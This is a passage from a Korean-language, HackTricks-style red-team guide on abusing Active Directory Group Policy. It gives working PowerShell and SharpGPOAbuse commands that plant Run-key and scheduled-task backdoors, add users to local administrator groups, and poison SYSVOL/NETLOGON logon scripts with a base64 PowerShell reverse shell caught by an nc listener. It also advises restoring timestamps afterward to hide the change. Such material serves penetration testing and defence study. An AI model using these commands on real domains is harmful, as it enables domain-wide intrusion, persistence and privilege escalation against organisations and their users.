GroupPolicy module์ด ์„ค์น˜๋˜์–ด ์žˆ์œผ๋ฉด ์ƒˆ๋กœ์šด GPOs๋ฅผ ์ƒ์„ฑ ๋ฐ ์—ฐ๊ฒฐํ•˜๊ณ , ์˜ํ–ฅ์„ ๋ฐ›๋Š” ์ปดํ“จํ„ฐ์—์„œ backdoors๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก registry values์™€ ๊ฐ™์€ preferences๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ GPO๊ฐ€ ์—…๋ฐ์ดํŠธ๋˜๊ณ  ์‚ฌ์šฉ์ž๊ฐ€ ์ปดํ“จํ„ฐ์— ๋กœ๊ทธ์ธํ•ด์•ผ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค:

New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

SharpGPOAbuse - Abuse GPO

SharpGPOAbuse๋Š” ์ƒˆ๋กœ์šด GPOs๋ฅผ ๋งŒ๋“ค ํ•„์š” ์—†์ด ์ž‘์—…์„ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ ์„ค์ •์„ ์ˆ˜์ •ํ•˜์—ฌ ๊ธฐ์กด GPOs๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” ๋ณ€๊ฒฝ์„ ์ ์šฉํ•˜๊ธฐ ์ „์— ๊ธฐ์กด GPOs๋ฅผ ์ˆ˜์ •ํ•˜๊ฑฐ๋‚˜ RSAT ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด ์ƒˆ๋กœ์šด GPOs๋ฅผ ์ƒ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

์ •์ฑ… ๊ฐ•์ œ ์—…๋ฐ์ดํŠธ

GPO ์—…๋ฐ์ดํŠธ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์•ฝ 90๋ถ„๋งˆ๋‹ค ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด ํ”„๋กœ์„ธ์Šค๋ฅผ ๋น ๋ฅด๊ฒŒ ์ง„ํ–‰ํ•˜๋ ค๋ฉด, ํŠนํžˆ ๋ณ€๊ฒฝ์„ ์ ์šฉํ•œ ์งํ›„์— ๋Œ€์ƒ ์ปดํ“จํ„ฐ์—์„œ gpupdate /force ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ์ฆ‰์‹œ ์ •์ฑ… ์—…๋ฐ์ดํŠธ๋ฅผ ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ช…๋ น์€ ๋‹ค์Œ ์ž๋™ ์—…๋ฐ์ดํŠธ ์ฃผ๊ธฐ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ์ง€ ์•Š๊ณ  GPOs์— ๋Œ€ํ•œ ์ˆ˜์ • ์‚ฌํ•ญ์ด ์ ์šฉ๋˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.

๋‚ด๋ถ€ ๋™์ž‘

ํŠน์ • GPO์˜ Scheduled Tasks๋ฅผ ๊ฒ€์‚ฌํ•˜๋ฉด Misconfigured Policy์™€ ๊ฐ™์€ ๊ฒฝ์šฐ evilTask ๊ฐ™์€ ์ž‘์—…์ด ์ถ”๊ฐ€๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ž‘์—…์€ ์‹œ์Šคํ…œ ๋™์ž‘์„ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋ ค๋Š” ์Šคํฌ๋ฆฝํŠธ๋‚˜ ๋ช…๋ น์ค„ ๋„๊ตฌ๋ฅผ ํ†ตํ•ด ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.

์ž‘์—…์˜ ๊ตฌ์กฐ๋Š” New-GPOImmediateTask๋กœ ์ƒ์„ฑ๋œ XML ๊ตฌ์„ฑ ํŒŒ์ผ์— ๋‚˜ํƒ€๋‚˜ ์žˆ์œผ๋ฉฐ, ์‹คํ–‰ํ•  ๋ช…๋ น๊ณผ ํŠธ๋ฆฌ๊ฑฐ๋ฅผ ํฌํ•จํ•œ ์˜ˆ์•ฝ ์ž‘์—…์˜ ์„ธ๋ถ€ ์‚ฌํ•ญ์„ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์€ GPOs ๋‚ด์—์„œ ์˜ˆ์•ฝ๋œ ์ž‘์—…์ด ์–ด๋–ป๊ฒŒ ์ •์˜๋˜๊ณ  ๊ด€๋ฆฌ๋˜๋Š”์ง€๋ฅผ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ์ •์ฑ… ์‹œํ–‰์˜ ์ผํ™˜์œผ๋กœ ์ž„์˜์˜ ๋ช…๋ น์ด๋‚˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Users and Groups

GPOs๋Š” ๋Œ€์ƒ ์‹œ์Šคํ…œ์—์„œ ์‚ฌ์šฉ์ž ๋ฐ ๊ทธ๋ฃน ๊ตฌ์„ฑ์›์˜ ์กฐ์ž‘๋„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. Users and Groups ์ •์ฑ… ํŒŒ์ผ์„ ์ง์ ‘ ํŽธ์ง‘ํ•จ์œผ๋กœ์จ ๊ณต๊ฒฉ์ž๋Š” ๋กœ์ปฌ administrators ๊ทธ๋ฃน๊ณผ ๊ฐ™์€ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ทธ๋ฃน์— ์‚ฌ์šฉ์ž๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” GPO ๊ด€๋ฆฌ ๊ถŒํ•œ์˜ ์œ„์ž„์„ ํ†ตํ•ด ๊ฐ€๋Šฅํ•˜๋ฉฐ, ์ •์ฑ… ํŒŒ์ผ์„ ์ˆ˜์ •ํ•˜์—ฌ ์ƒˆ ์‚ฌ์šฉ์ž๋ฅผ ํฌํ•จํ•˜๊ฑฐ๋‚˜ ๊ทธ๋ฃน ๊ตฌ์„ฑ์›์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Users and Groups์šฉ XML ๊ตฌ์„ฑ ํŒŒ์ผ์€ ์ด๋Ÿฌํ•œ ๋ณ€๊ฒฝ์ด ์–ด๋–ป๊ฒŒ ๊ตฌํ˜„๋˜๋Š”์ง€ ๊ฐœ๋žต์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์— ํ•ญ๋ชฉ์„ ์ถ”๊ฐ€ํ•จ์œผ๋กœ์จ ํŠน์ • ์‚ฌ์šฉ์ž์—๊ฒŒ ์˜ํ–ฅ์„ ๋ฐ›๋Š” ์‹œ์Šคํ…œ ์ „๋ฐ˜์— ๊ฑธ์ณ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ GPO ์กฐ์ž‘์„ ํ†ตํ•œ ์ง์ ‘์ ์ธ ๊ถŒํ•œ ์ƒ์Šน ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ logon/logoff ์Šคํฌ๋ฆฝํŠธ ํ™œ์šฉ, autorun์„ ์œ„ํ•œ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค ์ˆ˜์ •, .msi ํŒŒ์ผ์„ ํ†ตํ•œ ์†Œํ”„ํŠธ์›จ์–ด ์„ค์น˜, ์„œ๋น„์Šค ๊ตฌ์„ฑ ํŽธ์ง‘ ๋“ฑ ์ฝ”๋“œ ์‹คํ–‰์ด๋‚˜ ์ง€์†์„ฑ ์œ ์ง€๋ฅผ ์œ„ํ•œ ์ถ”๊ฐ€์ ์ธ ๋ฐฉ๋ฒ•๋“ค๋„ ๊ณ ๋ คํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ์€ GPOs ๋‚จ์šฉ์„ ํ†ตํ•ด ์ ‘๊ทผ์„ ์œ ์ง€ํ•˜๊ณ  ๋Œ€์ƒ ์‹œ์Šคํ…œ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค์–‘ํ•œ ๊ฒฝ๋กœ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

SYSVOL/NETLOGON Logon Script Poisoning

Writable paths under \\<dc>\SYSVOL\<domain>\scripts\ or \\<dc>\NETLOGON\ allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.

๋กœ๊ทธ์˜จ ์Šคํฌ๋ฆฝํŠธ ์ฐพ๊ธฐ

  • ๊ตฌ์„ฑ๋œ ๋กœ๊ทธ์˜จ ์Šคํฌ๋ฆฝํŠธ์— ๋Œ€ํ•ด ์‚ฌ์šฉ์ž ์†์„ฑ์„ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค:
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
  • domain shares๋ฅผ ํฌ๋กค๋งํ•˜์—ฌ shortcuts ๋˜๋Š” scripts์— ๋Œ€ํ•œ ์ฐธ์กฐ๋ฅผ ์ฐพ์•„๋ƒ…๋‹ˆ๋‹ค:
# NetExec spider (authenticated)
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
  • .lnk ํŒŒ์ผ์„ ํŒŒ์‹ฑํ•˜์—ฌ SYSVOL/NETLOGON์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋Œ€์ƒ ๊ฒฝ๋กœ๋ฅผ ํŒŒ์•…ํ•จ (์œ ์šฉํ•œ DFIR ํŠธ๋ฆญ์ด์ž ์ง์ ‘ GPO ์ ‘๊ทผ ๊ถŒํ•œ์ด ์—†๋Š” ๊ณต๊ฒฉ์ž์—๊ฒŒ ์œ ์šฉํ•จ):
# LnkParse3
lnkparse login.vbs.lnk
# Example target revealed:
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
  • BloodHound๋Š” ์‚ฌ์šฉ์ž ๋…ธ๋“œ์— logonScript (scriptPath) ์†์„ฑ์ด ์žˆ์œผ๋ฉด ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.

์“ฐ๊ธฐ ๊ถŒํ•œ ํ™•์ธ (๊ณต์œ  ๋ชฉ๋ก์„ ๋ฏฟ์ง€ ๋งˆ์„ธ์š”)

์ž๋™ํ™” ๋„๊ตฌ๋Š” SYSVOL/NETLOGON์„ ์ฝ๊ธฐ ์ „์šฉ์œผ๋กœ ํ‘œ์‹œํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ๊ธฐ๋ณธ NTFS ACL์€ ์—ฌ์ „ํžˆ ์“ฐ๊ธฐ๋ฅผ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ญ์ƒ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”:

# Interactive write test
smbclient \\<dc>\SYSVOL -U <user>%<pass>
smb: \\> cd <domain>\scripts\
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs   # check size/time change

ํŒŒ์ผ ํฌ๊ธฐ(file size)๋‚˜ mtime์ด ๋ณ€๊ฒฝ๋˜๋ฉด write ๊ถŒํ•œ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ˆ˜์ •ํ•˜๊ธฐ ์ „์— ์›๋ณธ์„ ๋ณด์กดํ•˜์„ธ์š”.

Poison a VBScript ๋กœ๊ทธ์˜จ ์Šคํฌ๋ฆฝํŠธ๋กœ RCE

PowerShell reverse shell (revshells.com์—์„œ ์ƒ์„ฑ)๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ช…๋ น์„ appendํ•˜๊ณ , ๋น„์ฆˆ๋‹ˆ์Šค ๊ธฐ๋Šฅ์ด ์ค‘๋‹จ๋˜์ง€ ์•Š๋„๋ก ์›๋ž˜ ๋กœ์ง์„ ์œ ์ง€ํ•˜์„ธ์š”:

' At top of login.vbs
Set cmdshell = CreateObject("Wscript.Shell")
cmdshell.run "powershell -e <BASE64_PAYLOAD>"

' Existing mappings remain
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"

ํ˜ธ์ŠคํŠธ์—์„œ listenํ•˜๊ณ  ๋‹ค์Œ ๋Œ€ํ™”ํ˜• ๋กœ๊ทธ์˜จ์„ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค:

rlwrap -cAr nc -lnvp 443

๋…ธํŠธ:

  • ์‹คํ–‰์€ ๋กœ๊น…๋œ ์‚ฌ์šฉ์ž์˜ token (not SYSTEM)์œผ๋กœ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค. ๋ฒ”์œ„๋Š” ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ ์šฉํ•˜๋Š” GPO ๋งํฌ(OU, site, domain)์ž…๋‹ˆ๋‹ค.
  • ์‚ฌ์šฉ ํ›„ ์›๋ž˜ ๋‚ด์šฉ๊ณผ ํƒ€์ž„์Šคํƒฌํ”„๋ฅผ ๋ณต์›ํ•˜์—ฌ ์ •๋ฆฌํ•˜์„ธ์š”.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ